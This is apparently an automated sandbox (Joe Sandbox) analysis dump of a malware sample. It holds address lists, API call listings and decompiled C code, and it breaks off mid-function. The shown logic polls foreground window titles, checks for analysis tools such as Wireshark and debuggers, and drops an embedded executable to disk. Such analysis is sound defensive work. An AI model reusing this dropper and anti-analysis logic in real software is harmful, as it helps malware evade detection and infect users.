                                                          0x0040626b
                                                          0x0040626e
                                                          0x00406270
                                                          0x00000000
                                                          0x00406276
                                                          0x00406276
                                                          0x0040627c
                                                          0x0040627e
                                                          0x004065aa
                                                          0x004065aa
                                                          0x00000000
                                                          0x00406284
                                                          0x00406291
                                                          0x00406297
                                                          0x0040629e
                                                          0x004062a8
                                                          0x004062b2
                                                          0x004062bc
                                                          0x004062c5
                                                          0x004062cb
                                                          0x004062d2
                                                          0x004062d7
                                                          0x004062da
                                                          0x004062e1
                                                          0x004062e3
                                                          0x004062e9
                                                          0x004062f1
                                                          0x004062f6
                                                          0x00406302
                                                          0x0040630a
                                                          0x00406310
                                                          0x00406316
                                                          0x00406323
                                                          0x00406328
                                                          0x00406328
                                                          0x004062e1
                                                          0x0040632b
                                                          0x00406332
                                                          0x00406334
                                                          0x00406334
                                                          0x00406336
                                                          0x00406336
                                                          0x0040633c
                                                          0x0040633d
                                                          0x0040633d
                                                          0x00406336
                                                          0x00406342
                                                          0x00406347
                                                          0x00406351
                                                          0x0040635b
                                                          0x00406365
                                                          0x0040636c
                                                          0x0040636c
                                                          0x00406370
                                                          0x00406370
                                                          0x00406372
                                                          0x00406373
                                                          0x00406373
                                                          0x00406385
                                                          0x0040638a
                                                          0x00406397
                                                          0x0040639e
                                                          0x004063a3
                                                          0x004063a9
                                                          0x004063b8
                                                          0x004063bd
                                                          0x004063c0
                                                          0x004063c2
                                                          0x00406502
                                                          0x00406502
                                                          0x004063c8
                                                          0x004063c8
                                                          0x004063cd
                                                          0x004063d7
                                                          0x004063e1
                                                          0x004063ea
                                                          0x004063f0
                                                          0x004063f7
                                                          0x004063fc
                                                          0x004063ff
                                                          0x00406406
                                                          0x00406408
                                                          0x00406410
                                                          0x0040641c
                                                          0x00406424
                                                          0x0040642a
                                                          0x00406437
                                                          0x0040643c
                                                          0x0040643c
                                                          0x00406406
                                                          0x0040643f
                                                          0x00406444
                                                          0x00406446
                                                          0x00406448
                                                          0x0040644f
                                                          0x00406456
                                                          0x0040645d
                                                          0x00406464
                                                          0x0040646b
                                                          0x00406472
                                                          0x00406479
                                                          0x00406480
                                                          0x00406487
                                                          0x00406487
                                                          0x00406489
                                                          0x00406489
                                                          0x0040648e
                                                          0x00406493
                                                          0x0040649d
                                                          0x004064a7
                                                          0x004064b1
                                                          0x004064b1
                                                          0x004064b4
                                                          0x004064b4
                                                          0x004064b6
                                                          0x004064b7
                                                          0x004064b7
                                                          0x004064c9
                                                          0x004064ce
                                                          0x004064db
                                                          0x004064e0
                                                          0x004064ef
                                                          0x004064f4
                                                          0x004064f7
                                                          0x004064fe
                                                          0x00406500
                                                          0x00000000
                                                          0x00000000
                                                          0x00406500
                                                          0x00406509
                                                          0x0040650c
                                                          0x00406566
                                                          0x00406566
                                                          0x00406569
                                                          0x004065a1
                                                          0x004065a1
                                                          0x004065a8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004065b0
                                                          0x004065b3
                                                          0x004065bb
                                                          0x004065bc
                                                          0x004065bd
                                                          0x004065c1
                                                          0x004065cb
                                                          0x0040656b
                                                          0x0040656b
                                                          0x00406571
                                                          0x00406574
                                                          0x00000000
                                                          0x00406576
                                                          0x00406576
                                                          0x0040657c
                                                          0x0040657d
                                                          0x0040657f
                                                          0x00406585
                                                          0x00406597
                                                          0x00406597
                                                          0x00406599
                                                          0x00000000
                                                          0x00406587
                                                          0x00406587
                                                          0x0040658a
                                                          0x00406592
                                                          0x00406595
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406595
                                                          0x00406585
                                                          0x00406574
                                                          0x0040650e
                                                          0x0040650e
                                                          0x00406514
                                                          0x00406517
                                                          0x0040651a
                                                          0x0040654b
                                                          0x0040654b
                                                          0x00406555
                                                          0x0040655f
                                                          0x00000000
                                                          0x0040651c
                                                          0x0040651c
                                                          0x00406522
                                                          0x00406523
                                                          0x00406525
                                                          0x0040652b
                                                          0x00406541
                                                          0x00406541
                                                          0x00406543
                                                          0x00406548
                                                          0x00000000
                                                          0x0040652d
                                                          0x0040652d
                                                          0x00406530
                                                          0x00406538
                                                          0x0040653b
                                                          0x004065cc
                                                          0x004065cc
                                                          0x004065d1
                                                          0x004065d2
                                                          0x004065d3
                                                          0x004065d4
                                                          0x004065d5
                                                          0x004065d6
                                                          0x004065d7
                                                          0x004065d8
                                                          0x004065d9
                                                          0x004065da
                                                          0x004065db
                                                          0x004065dc
                                                          0x004065dd
                                                          0x004065de
                                                          0x004065df
                                                          0x004065e0
                                                          0x004065e1
                                                          0x004065e6
                                                          0x004065ed
                                                          0x004065f3
                                                          0x004065fd
                                                          0x0040660a
                                                          0x00406610
                                                          0x00406612
                                                          0x00406636
                                                          0x0040663b
                                                          0x00406645
                                                          0x00406614
                                                          0x00406623
                                                          0x00406629
                                                          0x0040662c
                                                          0x0040662e
                                                          0x00406646
                                                          0x00406666
                                                          0x0040666c
                                                          0x0040666e
                                                          0x00000000
                                                          0x00406670
                                                          0x00406677
                                                          0x00406682
                                                          0x0040668d
                                                          0x0040668f
                                                          0x00406698
                                                          0x00406698
                                                          0x00406630
                                                          0x00406630
                                                          0x00000000
                                                          0x00406630
                                                          0x0040662e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040653b
                                                          0x0040652b
                                                          0x0040651a
                                                          0x0040650c
                                                          0x0040627e
                                                          0x00406270
                                                          0x00406160
                                                          0x00405ede
                                                          0x00405ee0
                                                          0x00405ee2
                                                          0x00405ee4
                                                          0x00405ee7
                                                          0x00405eeb
                                                          0x00405eed
                                                          0x00405eed
                                                          0x00405ef5
                                                          0x00405ef7
                                                          0x00405efb
                                                          0x00405f02
                                                          0x00000000
                                                          0x00405f07
                                                          0x00405edc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405889
                                                          0x00405879
                                                          0x004057c7
                                                          0x004057c7
                                                          0x004057c9
                                                          0x004057cc
                                                          0x00000000
                                                          0x004057ce
                                                          0x004057dc
                                                          0x004057e1
                                                          0x004057e7
                                                          0x004057eb
                                                          0x004057f8
                                                          0x00405803
                                                          0x00405805
                                                          0x0040580b
                                                          0x00405815
                                                          0x0040581f
                                                          0x00405822
                                                          0x00405822
                                                          0x00000000

                                                          APIs
                                                          • __Init_thread_footer.LIBCMT ref: 0040575F
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          • __Init_thread_footer.LIBCMT ref: 0040592E
                                                          • GetUserNameA.ADVAPI32(?,}FOF@.), ref: 004059C6
                                                          • GetUserNameA.ADVAPI32(?,OJCG@.), ref: 00405803
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 00405B0B
                                                          • GetUserNameA.ADVAPI32(?,lK@MF.), ref: 00405BC6
                                                          • GetForegroundWindow.USER32(?,?), ref: 00405C9F
                                                          • GetWindowTextA.USER32 ref: 00405CB2
                                                          • Sleep.KERNEL32(00000258), ref: 00405DE2
                                                          • GetForegroundWindow.USER32 ref: 00405DE4
                                                          • GetWindowTextA.USER32 ref: 00405DF7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSectionWindow$Init_thread_footerNameUser$EnterForegroundLeaveText$ConditionSleepVariableWake
                                                          • String ID: Far $HTTP Analyzer$NetworkMiner$OJCG@.$Wireshark$ZK]Z$dbg$debug$roxifier
                                                          • API String ID: 3399126515-619935782
                                                          • Opcode ID: 31dd46c91be120cfb9063c524cf2d76983dc327de586dcfc4b038ca48fcf9a12
                                                          • Instruction ID: 074b258c6d59ddac17b90d1b3a787091faffede02681fa5b6702e06cb24e023a
                                                          • Opcode Fuzzy Hash: 31dd46c91be120cfb9063c524cf2d76983dc327de586dcfc4b038ca48fcf9a12
                                                          • Instruction Fuzzy Hash: 2F1225719002988ADB29DF24DC49BDE7B74EB46308F1041FAD448672D2DB7D9B89CF58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 86%
                                                          			E00406800(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				char* _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v29;
                                                          				char _v32;
                                                          				char _v33;
                                                          				signed int _v36;
                                                          				long _v40;
                                                          				signed int _v44;
                                                          				char _v60;
                                                          				long _v64;
                                                          				struct _SECURITY_ATTRIBUTES* _v68;
                                                          				char _v84;
                                                          				long _v88;
                                                          				struct _SECURITY_ATTRIBUTES* _v92;
                                                          				char _v108;
                                                          				char _v116;
                                                          				intOrPtr _v128;
                                                          				struct _SECURITY_ATTRIBUTES* _v136;
                                                          				char _v144;
                                                          				signed int _v152;
                                                          				char _v312;
                                                          				signed char _v316;
                                                          				struct _SECURITY_ATTRIBUTES* _v320;
                                                          				intOrPtr _v324;
                                                          				intOrPtr _v328;
                                                          				struct _SECURITY_ATTRIBUTES* _v336;
                                                          				long _v340;
                                                          				struct _SECURITY_ATTRIBUTES* _v344;
                                                          				char _v360;
                                                          				long _v364;
                                                          				struct _SECURITY_ATTRIBUTES* _v368;
                                                          				char _v384;
                                                          				long _v388;
                                                          				char _v408;
                                                          				char _v412;
                                                          				char _v413;
                                                          				struct _SECURITY_ATTRIBUTES* _v420;
                                                          				struct _SECURITY_ATTRIBUTES* _v424;
                                                          				struct _SECURITY_ATTRIBUTES* _v440;
                                                          				struct _SECURITY_ATTRIBUTES* _v444;
                                                          				struct _SECURITY_ATTRIBUTES* _v448;
                                                          				struct _SECURITY_ATTRIBUTES* _v464;
                                                          				long _v468;
                                                          				struct _SECURITY_ATTRIBUTES* _v472;
                                                          				char _v488;
                                                          				long _v496;
                                                          				struct _SECURITY_ATTRIBUTES* _v500;
                                                          				struct _SECURITY_ATTRIBUTES* _v516;
                                                          				long _v520;
                                                          				struct _SECURITY_ATTRIBUTES* _v616;
                                                          				char _v624;
                                                          				signed int _v628;
                                                          				char _v772;
                                                          				char _v1100;
                                                          				signed char _v1104;
                                                          				intOrPtr _v1108;
                                                          				signed int _v1112;
                                                          				intOrPtr _v1116;
                                                          				char _v1140;
                                                          				char _v1164;
                                                          				char _v1188;
                                                          				char _v1212;
                                                          				char _v1236;
                                                          				char _v1260;
                                                          				char _v1284;
                                                          				signed int _v1892;
                                                          				short _v1896;
                                                          				intOrPtr _v1900;
                                                          				intOrPtr _v1904;
                                                          				intOrPtr _v1908;
                                                          				void* __ebp;
                                                          				signed int _t854;
                                                          				int _t859;
                                                          				void* _t860;
                                                          				char* _t861;
                                                          				void* _t867;
                                                          				long _t869;
                                                          				signed int _t875;
                                                          				signed int _t876;
                                                          				signed int _t878;
                                                          				signed int _t880;
                                                          				intOrPtr _t884;
                                                          				signed char _t885;
                                                          				signed int _t886;
                                                          				char* _t890;
                                                          				void* _t892;
                                                          				signed int _t898;
                                                          				intOrPtr _t899;
                                                          				signed int _t900;
                                                          				char* _t904;
                                                          				void* _t906;
                                                          				signed int _t912;
                                                          				intOrPtr _t913;
                                                          				signed char _t914;
                                                          				signed int _t915;
                                                          				char* _t919;
                                                          				void* _t921;
                                                          				signed int _t927;
                                                          				void* _t934;
                                                          				char* _t935;
                                                          				intOrPtr _t942;
                                                          				signed int _t949;
                                                          				signed int _t950;
                                                          				signed int _t952;
                                                          				void* _t956;
                                                          				void* _t959;
                                                          				void* _t961;
                                                          				void* _t962;
                                                          				void* _t963;
                                                          				void* _t964;
                                                          				void* _t965;
                                                          				void* _t974;
                                                          				signed int _t975;
                                                          				signed int _t978;
                                                          				signed int _t984;
                                                          				void* _t990;
                                                          				void* _t991;
                                                          				signed int _t993;
                                                          				void* _t998;
                                                          				void* _t1002;
                                                          				void* _t1003;
                                                          				signed int _t1005;
                                                          				signed int _t1009;
                                                          				intOrPtr _t1012;
                                                          				signed int _t1021;
                                                          				void* _t1022;
                                                          				signed char _t1025;
                                                          				char* _t1029;
                                                          				intOrPtr _t1030;
                                                          				signed char _t1034;
                                                          				signed int _t1037;
                                                          				signed int _t1039;
                                                          				char _t1043;
                                                          				struct _SECURITY_ATTRIBUTES* _t1044;
                                                          				struct _SECURITY_ATTRIBUTES* _t1048;
                                                          				intOrPtr _t1052;
                                                          				signed int _t1059;
                                                          				void* _t1064;
                                                          				char* _t1065;
                                                          				intOrPtr _t1069;
                                                          				intOrPtr _t1073;
                                                          				intOrPtr _t1077;
                                                          				struct _SECURITY_ATTRIBUTES* _t1081;
                                                          				intOrPtr _t1085;
                                                          				char _t1090;
                                                          				struct _SECURITY_ATTRIBUTES* _t1091;
                                                          				struct _SECURITY_ATTRIBUTES* _t1095;
                                                          				intOrPtr _t1099;
                                                          				signed int _t1106;
                                                          				void* _t1113;
                                                          				char* _t1114;
                                                          				intOrPtr _t1118;
                                                          				intOrPtr _t1122;
                                                          				struct _SECURITY_ATTRIBUTES* _t1126;
                                                          				intOrPtr _t1130;
                                                          				char _t1135;
                                                          				struct _SECURITY_ATTRIBUTES* _t1136;
                                                          				struct _SECURITY_ATTRIBUTES* _t1140;
                                                          				intOrPtr _t1144;
                                                          				signed int _t1156;
                                                          				signed int _t1158;
                                                          				signed int _t1161;
                                                          				void* _t1164;
                                                          				void* _t1165;
                                                          				signed int _t1171;
                                                          				intOrPtr _t1173;
                                                          				signed char _t1174;
                                                          				signed int _t1175;
                                                          				char* _t1179;
                                                          				void* _t1181;
                                                          				signed int _t1187;
                                                          				intOrPtr _t1188;
                                                          				signed int _t1189;
                                                          				char* _t1193;
                                                          				void* _t1195;
                                                          				signed int _t1201;
                                                          				intOrPtr _t1202;
                                                          				signed char _t1203;
                                                          				signed int _t1204;
                                                          				char* _t1208;
                                                          				void* _t1210;
                                                          				signed int _t1216;
                                                          				intOrPtr _t1217;
                                                          				intOrPtr _t1221;
                                                          				void* _t1225;
                                                          				char* _t1226;
                                                          				intOrPtr _t1230;
                                                          				intOrPtr _t1234;
                                                          				struct _SECURITY_ATTRIBUTES* _t1238;
                                                          				intOrPtr _t1242;
                                                          				char _t1247;
                                                          				struct _SECURITY_ATTRIBUTES* _t1248;
                                                          				struct _SECURITY_ATTRIBUTES* _t1252;
                                                          				intOrPtr _t1256;
                                                          				signed int _t1263;
                                                          				void* _t1268;
                                                          				char* _t1269;
                                                          				intOrPtr _t1273;
                                                          				intOrPtr _t1276;
                                                          				struct _SECURITY_ATTRIBUTES* _t1280;
                                                          				intOrPtr _t1284;
                                                          				char _t1289;
                                                          				struct _SECURITY_ATTRIBUTES* _t1290;
                                                          				struct _SECURITY_ATTRIBUTES* _t1294;
                                                          				intOrPtr _t1298;
                                                          				signed int _t1305;
                                                          				void* _t1312;
                                                          				char* _t1313;
                                                          				intOrPtr _t1317;
                                                          				intOrPtr _t1320;
                                                          				struct _SECURITY_ATTRIBUTES* _t1324;
                                                          				struct _SECURITY_ATTRIBUTES* _t1328;
                                                          				char _t1333;
                                                          				struct _SECURITY_ATTRIBUTES* _t1334;
                                                          				struct _SECURITY_ATTRIBUTES* _t1338;
                                                          				struct _SECURITY_ATTRIBUTES* _t1342;
                                                          				void* _t1354;
                                                          				char* _t1355;
                                                          				intOrPtr _t1359;
                                                          				intOrPtr _t1362;
                                                          				struct _SECURITY_ATTRIBUTES* _t1366;
                                                          				struct _SECURITY_ATTRIBUTES* _t1370;
                                                          				char _t1375;
                                                          				intOrPtr _t1376;
                                                          				struct _SECURITY_ATTRIBUTES* _t1381;
                                                          				signed int _t1385;
                                                          				intOrPtr _t1387;
                                                          				intOrPtr _t1393;
                                                          				intOrPtr _t1398;
                                                          				intOrPtr _t1402;
                                                          				char _t1407;
                                                          				void* _t1410;
                                                          				void* _t1412;
                                                          				void* _t1417;
                                                          				char* _t1421;
                                                          				long _t1424;
                                                          				intOrPtr* _t1428;
                                                          				struct _SECURITY_ATTRIBUTES* _t1431;
                                                          				void* _t1436;
                                                          				intOrPtr* _t1437;
                                                          				struct _SECURITY_ATTRIBUTES* _t1440;
                                                          				void* _t1445;
                                                          				signed char* _t1446;
                                                          				struct _SECURITY_ATTRIBUTES* _t1449;
                                                          				void* _t1454;
                                                          				char* _t1466;
                                                          				long _t1517;
                                                          				signed int _t1535;
                                                          				struct _SECURITY_ATTRIBUTES* _t1537;
                                                          				struct _SECURITY_ATTRIBUTES* _t1538;
                                                          				char _t1539;
                                                          				char* _t1544;
                                                          				intOrPtr _t1545;
                                                          				char _t1546;
                                                          				char _t1547;
                                                          				struct _SECURITY_ATTRIBUTES* _t1548;
                                                          				char _t1549;
                                                          				struct _SECURITY_ATTRIBUTES* _t1550;
                                                          				struct _SECURITY_ATTRIBUTES* _t1551;
                                                          				char _t1552;
                                                          				char* _t1556;
                                                          				char _t1557;
                                                          				char _t1558;
                                                          				struct _SECURITY_ATTRIBUTES* _t1559;
                                                          				char _t1560;
                                                          				struct _SECURITY_ATTRIBUTES* _t1561;
                                                          				struct _SECURITY_ATTRIBUTES* _t1562;
                                                          				char _t1563;
                                                          				intOrPtr* _t1564;
                                                          				signed int _t1565;
                                                          				char* _t1569;
                                                          				void* _t1575;
                                                          				intOrPtr* _t1576;
                                                          				struct _SECURITY_ATTRIBUTES* _t1579;
                                                          				void* _t1584;
                                                          				intOrPtr* _t1585;
                                                          				struct _SECURITY_ATTRIBUTES* _t1588;
                                                          				void* _t1593;
                                                          				signed char* _t1594;
                                                          				struct _SECURITY_ATTRIBUTES* _t1597;
                                                          				void* _t1602;
                                                          				char _t1603;
                                                          				char _t1604;
                                                          				char* _t1608;
                                                          				char _t1609;
                                                          				char _t1610;
                                                          				struct _SECURITY_ATTRIBUTES* _t1611;
                                                          				char _t1612;
                                                          				struct _SECURITY_ATTRIBUTES* _t1613;
                                                          				struct _SECURITY_ATTRIBUTES* _t1614;
                                                          				char _t1615;
                                                          				char* _t1620;
                                                          				char _t1621;
                                                          				struct _SECURITY_ATTRIBUTES* _t1622;
                                                          				intOrPtr _t1623;
                                                          				struct _SECURITY_ATTRIBUTES* _t1624;
                                                          				struct _SECURITY_ATTRIBUTES* _t1625;
                                                          				intOrPtr _t1626;
                                                          				char* _t1630;
                                                          				char _t1631;
                                                          				struct _SECURITY_ATTRIBUTES* _t1632;
                                                          				struct _SECURITY_ATTRIBUTES* _t1633;
                                                          				struct _SECURITY_ATTRIBUTES* _t1634;
                                                          				struct _SECURITY_ATTRIBUTES* _t1635;
                                                          				struct _SECURITY_ATTRIBUTES* _t1636;
                                                          				char* _t1640;
                                                          				intOrPtr _t1641;
                                                          				struct _SECURITY_ATTRIBUTES* _t1642;
                                                          				struct _SECURITY_ATTRIBUTES* _t1643;
                                                          				intOrPtr _t1644;
                                                          				struct _SECURITY_ATTRIBUTES* _t1645;
                                                          				intOrPtr* _t1646;
                                                          				intOrPtr _t1648;
                                                          				intOrPtr _t1649;
                                                          				intOrPtr _t1650;
                                                          				intOrPtr _t1651;
                                                          				struct _SECURITY_ATTRIBUTES* _t1654;
                                                          				long _t1655;
                                                          				long _t1656;
                                                          				long _t1657;
                                                          				long _t1658;
                                                          				intOrPtr _t1659;
                                                          				char* _t1660;
                                                          				void* _t1663;
                                                          				struct _SECURITY_ATTRIBUTES* _t1664;
                                                          				long _t1666;
                                                          				struct _SECURITY_ATTRIBUTES* _t1667;
                                                          				struct _SECURITY_ATTRIBUTES* _t1668;
                                                          				void* _t1669;
                                                          				struct _SECURITY_ATTRIBUTES* _t1670;
                                                          				long _t1672;
                                                          				struct _SECURITY_ATTRIBUTES* _t1673;
                                                          				struct _SECURITY_ATTRIBUTES* _t1674;
                                                          				signed char* _t1675;
                                                          				struct _SECURITY_ATTRIBUTES* _t1676;
                                                          				long _t1678;
                                                          				struct _SECURITY_ATTRIBUTES* _t1679;
                                                          				struct _SECURITY_ATTRIBUTES* _t1683;
                                                          				DWORD* _t1701;
                                                          				void* _t1702;
                                                          				struct _SECURITY_ATTRIBUTES* _t1705;
                                                          				long _t1706;
                                                          				struct _SECURITY_ATTRIBUTES* _t1707;
                                                          				long _t1708;
                                                          				long _t1709;
                                                          				void* _t1710;
                                                          				void* _t1711;
                                                          				DWORD* _t1712;
                                                          				void* _t1713;
                                                          				DWORD* _t1714;
                                                          				void* _t1715;
                                                          				struct _SECURITY_ATTRIBUTES* _t1718;
                                                          				long _t1719;
                                                          				struct _SECURITY_ATTRIBUTES* _t1720;
                                                          				long _t1721;
                                                          				long _t1722;
                                                          				void* _t1723;
                                                          				void* _t1724;
                                                          				DWORD* _t1725;
                                                          				void* _t1726;
                                                          				DWORD* _t1727;
                                                          				void* _t1728;
                                                          				intOrPtr* _t1729;
                                                          				struct _SECURITY_ATTRIBUTES* _t1734;
                                                          				long _t1735;
                                                          				void* _t1736;
                                                          				signed char _t1737;
                                                          				struct _SECURITY_ATTRIBUTES* _t1739;
                                                          				struct _SECURITY_ATTRIBUTES* _t1740;
                                                          				signed char _t1741;
                                                          				void* _t1742;
                                                          				struct _SECURITY_ATTRIBUTES* _t1743;
                                                          				long _t1745;
                                                          				struct _SECURITY_ATTRIBUTES* _t1746;
                                                          				struct _SECURITY_ATTRIBUTES* _t1747;
                                                          				signed char* _t1748;
                                                          				struct _SECURITY_ATTRIBUTES* _t1749;
                                                          				long _t1751;
                                                          				struct _SECURITY_ATTRIBUTES* _t1752;
                                                          				struct _SECURITY_ATTRIBUTES* _t1753;
                                                          				long _t1754;
                                                          				void* _t1755;
                                                          				struct _SECURITY_ATTRIBUTES* _t1758;
                                                          				long _t1759;
                                                          				struct _SECURITY_ATTRIBUTES* _t1760;
                                                          				long _t1761;
                                                          				long _t1762;
                                                          				void* _t1763;
                                                          				void* _t1764;
                                                          				DWORD* _t1765;
                                                          				void* _t1766;
                                                          				DWORD* _t1767;
                                                          				void* _t1768;
                                                          				struct _SECURITY_ATTRIBUTES* _t1771;
                                                          				long _t1772;
                                                          				struct _SECURITY_ATTRIBUTES* _t1773;
                                                          				long _t1774;
                                                          				long _t1775;
                                                          				void* _t1776;
                                                          				DWORD* _t1777;
                                                          				void* _t1778;
                                                          				DWORD* _t1779;
                                                          				void* _t1780;
                                                          				struct _SECURITY_ATTRIBUTES* _t1783;
                                                          				struct _SECURITY_ATTRIBUTES* _t1784;
                                                          				struct _SECURITY_ATTRIBUTES* _t1785;
                                                          				long _t1786;
                                                          				long _t1787;
                                                          				void* _t1788;
                                                          				DWORD* _t1789;
                                                          				DWORD* _t1790;
                                                          				DWORD* _t1791;
                                                          				DWORD* _t1792;
                                                          				struct _SECURITY_ATTRIBUTES* _t1795;
                                                          				struct _SECURITY_ATTRIBUTES* _t1796;
                                                          				struct _SECURITY_ATTRIBUTES* _t1797;
                                                          				long _t1798;
                                                          				long _t1799;
                                                          				void* _t1800;
                                                          				DWORD* _t1801;
                                                          				DWORD* _t1802;
                                                          				DWORD* _t1803;
                                                          				void* _t1804;
                                                          				char* _t1805;
                                                          				void* _t1806;
                                                          				void* _t1807;
                                                          				void* _t1808;
                                                          				void* _t1809;
                                                          				long _t1810;
                                                          				void* _t1811;
                                                          				void* _t1814;
                                                          				long _t1815;
                                                          				long _t1817;
                                                          				void* _t1818;
                                                          				signed int _t1821;
                                                          				signed int _t1827;
                                                          				signed int _t1830;
                                                          				signed int _t1832;
                                                          				signed int _t1833;
                                                          				void* _t1835;
                                                          				signed int _t1838;
                                                          				void* _t1839;
                                                          				void* _t1840;
                                                          				signed int _t1846;
                                                          				void* _t1847;
                                                          				void* _t1848;
                                                          				signed char _t1849;
                                                          				void* _t1850;
                                                          				void* _t1851;
                                                          				void* _t1852;
                                                          				signed char _t1853;
                                                          				void* _t1854;
                                                          				void* _t1855;
                                                          				signed int _t1856;
                                                          				signed char _t1857;
                                                          				void* _t1858;
                                                          				void* _t1859;
                                                          				void* _t1864;
                                                          				void* _t1870;
                                                          				void* _t1871;
                                                          				signed int _t1872;
                                                          				void* _t1878;
                                                          				char _t1887;
                                                          				void* _t1888;
                                                          				void* _t1889;
                                                          				signed char _t1890;
                                                          				void* _t1891;
                                                          				void* _t1892;
                                                          				signed char _t1893;
                                                          				void* _t1894;
                                                          				void* _t1895;
                                                          				signed char _t1896;
                                                          				void* _t1897;
                                                          
                                                          				_t1814 = __esi;
                                                          				_t1809 = __edi;
                                                          				_t1417 = __ecx;
                                                          				_push(__ebx);
                                                          				_t1410 = _t1835;
                                                          				_t1838 = (_t1835 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t1410 + 4));
                                                          				_t1827 = _t1838;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c76b);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t1410);
                                                          				_t1839 = _t1838 - 0x54;
                                                          				_push(__esi);
                                                          				_t854 =  *0x43d054; // 0x6e36c9b5
                                                          				_push(_t854 ^ _t1827);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_v16 = 1;
                                                          				_t858 =  >=  ?  *((void*)(_t1410 + 8)) : _t1410 + 8;
                                                          				_t859 = CreateDirectoryA( >=  ?  *((void*)(_t1410 + 8)) : _t1410 + 8, 0); // executed
                                                          				if(_t859 != 0 || GetLastError() == 0xb7) {
                                                          					_push(_t1417);
                                                          					_t860 = E0040C770( &_v108, _t1410 + 8);
                                                          					_v16 = 2;
                                                          					_t861 = E0040C990( &_v84, _t860, _t1410 + 0x20);
                                                          					_t1840 = _t1839 + 8;
                                                          					_t1421 = _t861;
                                                          					_v16 = 3;
                                                          					_t1815 =  *(_t1421 + 0x14);
                                                          					_t1654 =  *(_t1421 + 0x10);
                                                          					if(_t1815 - _t1654 < 4) {
                                                          						_v33 = 0;
                                                          						_t1421 = E00402980(_t1410, _t1421, _t1809, _t1815, 4, _v33, ".exe", 4);
                                                          					} else {
                                                          						 *(_t1421 + 0x10) =  &(_t1654->lpSecurityDescriptor);
                                                          						_t1407 = _t1421;
                                                          						if(_t1815 >= 0x10) {
                                                          							_t1407 =  *_t1421;
                                                          						}
                                                          						 *((intOrPtr*)(_t1407 + _t1654)) = 0x6578652e;
                                                          						 *((char*)(_t1407 +  &(_t1654->lpSecurityDescriptor))) = 0;
                                                          					}
                                                          					asm("movups xmm0, [ecx]");
                                                          					asm("movups [ebp-0x30], xmm0");
                                                          					asm("movq xmm0, [ecx+0x10]");
                                                          					asm("movq [ebp-0x20], xmm0");
                                                          					 *(_t1421 + 0x10) = 0;
                                                          					 *(_t1421 + 0x14) = 0xf;
                                                          					 *_t1421 = 0;
                                                          					_t866 =  >=  ? _v60 :  &_v60;
                                                          					_t867 = E00413D5D( >=  ? _v60 :  &_v60, "wb"); // executed
                                                          					_t1655 = _v40;
                                                          					_t1839 = _t1840 + 8;
                                                          					_t1814 = _t867;
                                                          					if(_t1655 < 0x10) {
                                                          						L11:
                                                          						_t1656 = _v64;
                                                          						_v44 = 0;
                                                          						_v40 = 0xf;
                                                          						_v60 = 0;
                                                          						if(_t1656 < 0x10) {
                                                          							L15:
                                                          							_t1657 = _v88;
                                                          							_v68 = 0;
                                                          							_v64 = 0xf;
                                                          							_v84 = 0;
                                                          							if(_t1657 < 0x10) {
                                                          								L19:
                                                          								_v92 = 0;
                                                          								_v88 = 0xf;
                                                          								_v108 = 0;
                                                          								_t1921 = _t1814;
                                                          								if(_t1814 == 0) {
                                                          									goto L21;
                                                          								} else {
                                                          									E00418608(_t1410, _t1809, _t1814, 0x43daa0, 1, 0x12000, _t1814); // executed
                                                          									_push(_t1814);
                                                          									E00413F7D(_t1410, _t1809, _t1814, _t1921);
                                                          									_t1839 = _t1839 + 0x14;
                                                          									_v29 = 1;
                                                          								}
                                                          								goto L22;
                                                          							} else {
                                                          								_t1649 = _v108;
                                                          								_t1806 = _t1657 + 1;
                                                          								_t1393 = _t1649;
                                                          								if(_t1806 < 0x1000) {
                                                          									L18:
                                                          									_push(_t1806);
                                                          									E0040EDFF(_t1649);
                                                          									_t1839 = _t1839 + 8;
                                                          									goto L19;
                                                          								} else {
                                                          									_t1424 =  *(_t1649 - 4);
                                                          									_t1660 = _t1806 + 0x23;
                                                          									if(_t1393 - _t1424 + 0xfffffffc > 0x1f) {
                                                          										goto L31;
                                                          									} else {
                                                          										goto L18;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t1650 = _v84;
                                                          							_t1807 = _t1656 + 1;
                                                          							_t1398 = _t1650;
                                                          							if(_t1807 < 0x1000) {
                                                          								L14:
                                                          								_push(_t1807);
                                                          								E0040EDFF(_t1650);
                                                          								_t1839 = _t1839 + 8;
                                                          								goto L15;
                                                          							} else {
                                                          								_t1424 =  *(_t1650 - 4);
                                                          								_t1660 = _t1807 + 0x23;
                                                          								if(_t1398 - _t1424 + 0xfffffffc > 0x1f) {
                                                          									goto L31;
                                                          								} else {
                                                          									goto L14;
                                                          								}
